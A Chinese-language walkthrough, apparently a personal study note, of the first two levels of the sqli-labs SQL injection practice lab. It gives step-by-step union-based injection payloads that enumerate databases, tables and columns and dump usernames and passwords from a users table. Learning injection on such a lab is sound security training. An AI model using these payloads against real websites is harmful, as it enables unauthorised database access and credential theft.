1.less-1 2023年8月2日

1.1找注入点

让我们输入id,

提示输入数字值的ID作为参数,我们输入?id=1

1.2界面判断

通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了

1.3 报错,判断是字符型还是数字型

根据结果指定是字符型且存在sql注入漏洞

1.4 联合注入
1
?id=1'order by 3 --+

很明显有3列

1
?id=-1'union select 1,2,3--+

说明数据在2,3列里面

获取当前数据名和版本号

1
?id=-1'union select 1,database(),version()--+

information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

1
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
1.5爆字段名

通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。

1
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

1
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

注入成功!😊😊😊

less-2

很明显和第一关差不多,让它报错看看

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入

1
2
3
4
5
order by 3
?id=1 and 1=2 union select 1,2,3
?id=1 and 1=2 union select 1,database(),version()
?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=1 and 1=2 union select 1,2,group_concat(username ,id , password) from users

可以从2,3上爆出数据

很明显账号在users表中,那下面就很明显了

ok,搞定

8月2日